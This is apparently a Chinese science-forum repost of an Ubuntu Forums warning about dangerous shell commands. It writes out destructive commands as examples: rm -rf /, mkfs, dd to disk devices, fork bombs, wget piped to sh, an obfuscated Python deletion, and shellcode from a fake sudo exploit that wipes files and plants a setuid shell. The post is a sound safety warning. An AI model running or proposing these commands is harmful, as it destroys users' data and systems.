 |
 |
 |
 |
 |
 |
||
 |
 |
 |
 |
 |
| 2 | 1/1 | 返回列表 |
| 查看: 706 | 回復: 1 | |||
| 當前主題已經(jīng)存檔。 | |||
dnp榮譽版主 (知名作家)
小木蟲浪子
|
[交流]
[轉貼]請不要執(zhí)行如下類似命令--Ubuntu危險命令
|
||
|
最近ubuntu官方論壇發(fā)出了官方通告, 列出下列危險命令, 告誡用戶不要執(zhí)行, 并對隨意張貼下列命令的帳號處以直接封號的處罰. 再次聲明, 請不要執(zhí)行下列或類似下列的命令, 這些命令將會對你的計算機造成嚴重影響. 請不要以什么給普通用戶教訓來提高他們的安全意識等等托詞來為自己不懷好意的行為作為借口! http://ubuntuforums.org/announcement.php?a=54 Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute. 下列命令會刪除所有文件, 刪除當前目錄, 刪除當前目錄下面的文件. 代碼: rm -rf / rm -rf . rm -rf * Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem. 下列命令會摧毀整個文件系統(tǒng), 重建分區(qū). 代碼: mkfs mkfs.ext3 mkfs.anything Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data: 下列命令會清空整個硬盤. 代碼: any_command > /dev/sda dd if=something of=/dev/sda Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates. In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes) 下列命令會啟動大量進程, 導致系統(tǒng)無法響應, 只能硬重啟機器, 可能會導致數(shù)據(jù)損害. 代碼:  ){:|:&};:In Perl 代碼: fork while fork Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust 不要執(zhí)行你不信任的人提供的shell腳本, 里面可能含有危險的命令和腳本, 不要隨意解壓別人提供的壓縮包, 也許看起來很小, 結果解壓出來會塞滿整個硬盤. 代碼: wget http://some_place/some_file sh ./some_file 代碼: wget http://some_place/some_file -O- | sh Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address). A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload: 不要編譯運行別人提供的不明代碼 代碼: char esp[] __attribute__ ((section(".text"  )) /* e.s.prelease */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out. Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not! For example, 30 seconds in Python yields something like this: 代碼: python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong. |
回復此樓» 猜你喜歡
【新加坡】納米電子器件項目組有“聯(lián)合培養(yǎng)博士生”名額
已經(jīng)有2人回復
-
重慶交大材料學院26年碩士招生復試實施細則已出。歡迎加入光子學微結構與器件課題組。
已經(jīng)有0人回復
-
物理學I論文潤色/翻譯怎么收費?
已經(jīng)有99人回復
-
北工大宋曉艷教授團隊招收2026年9月入學博士【學博和專博名額均有】！
已經(jīng)有1人回復
-
天津城建大學理學院化學、環(huán)境工程、材料物理等方向接收10人
已經(jīng)有0人回復
-
天津城建大學理學院化學、環(huán)境工程、材料物理等方向接收調(diào)劑，10人
已經(jīng)有0人回復
-
計算與實驗科學工程國際會議(8月7-11日,香港) 二維材料分會S5與聲學換能器分會S8
已經(jīng)有0人回復
-
0702一志愿吉大B區(qū)求調(diào)劑有論文
已經(jīng)有4人回復
-
歡迎調(diào)劑到贛南師范大學智能制造與未來能源學院
已經(jīng)有10人回復
-
0702一志愿吉大B區(qū)求調(diào)劑 本科期間發(fā)表一篇Sci
已經(jīng)有4人回復
dnp
榮譽版主 (知名作家)
小木蟲浪子
- 應助: 74 (初中生)
- 貴賓: 18.476
- 金幣: 18843.9
- 散金: 2040
- 紅花: 77
- 沙發(fā): 6
- 帖子: 7318
- 在線: 598.1小時
- 蟲號: 437184
- 注冊: 2007-08-26
- 性別: GG
- 專業(yè): 生物信息學
- 管轄: 有機交流
2樓2007-12-12 21:52:48
相關版塊跳轉
我要訂閱樓主 dnp 的主題更新
| 2 | 1/1 | 返回列表 |
| 最具人氣熱帖推薦 [查看全部] | 作者 | 回/看 | 最后發(fā)表 | |
|---|---|---|---|---|
|
[考研] 求調(diào)劑，一志愿 南京航空航天大學 ，080500材料科學與工程學碩，總分289分 +9 | @taotao 2026-03-29 | 9/450 |
|
|---|---|---|---|---|
|
|
[考研] 一志愿華東師范大學有機化學專業(yè)，初試351分，復試被刷求調(diào)劑! +7 | 真名有冰 2026-03-29 | 8/400 |
|
|
|
[考研] 286分調(diào)劑 +10 | Faune 2026-03-30 | 11/550 |
|
|
[考研] 材料專碩 085600求調(diào)劑 +7 | BBQ233 2026-03-30 | 7/350 |
|
|
|
[考研] 262求調(diào)劑 +4 | ZZ..000 2026-03-30 | 4/200 |
|
|
|
[考研] 0703化學/290求調(diào)劑/本科經(jīng)歷豐富/工科也可 +13 | 丹青奶蓋 2026-03-26 | 15/750 |
|
|
|
[考研] 337求調(diào)劑 +6 | 《樹》 2026-03-29 | 6/300 |
|
|
|
[考研] 一志愿南航 335分 | 0856 | GPA 4.07 | 有科研經(jīng)歷 +8 | cccchenso 2026-03-29 | 8/400 |
|
|
|
[考研] 求調(diào)劑 +4 | QiMing7 2026-03-25 | 5/250 |
|
|
|
[考研] 調(diào)劑310 +12 | 溫柔的晚安 2026-03-25 | 13/650 |
|
|
|
[考研] 329求調(diào)劑 +10 | 鈕恩雪 2026-03-25 | 10/500 |
|
|
|
[考研] 316求調(diào)劑 +7 | 江辭666 2026-03-26 | 7/350 |
|
|
|
[考研] 張芳銘-中國農(nóng)業(yè)大學-環(huán)境工程專碩-298 +4 | 手機用戶 2026-03-26 | 4/200 |
|
|
|
[考研] 298調(diào)劑 +3 | jiyingjie123 2026-03-27 | 3/150 |
|
|
|
[考研] 考研調(diào)劑 +10 | 呼呼？~+123456 2026-03-24 | 10/500 |
|
|
|
[考研] 324求調(diào)劑 +5 | hanamiko 2026-03-26 | 5/250 |
|
|
|
[考研] 286求調(diào)劑 +4 | lim0922 2026-03-26 | 4/200 |
|
|
|
[考研]
材料調(diào)劑
 5+4
|
想要一壺桃花水 2026-03-25 | 10/500 |
|
|
|
[考研]
 085602化學工程求調(diào)劑。
+4
|
平樂樂樂 2026-03-26 | 4/200 |
|
|
|
[考研] 085601求調(diào)劑總分293英一數(shù)二 +4 | 鋼鐵大炮 2026-03-24 | 4/200 |
|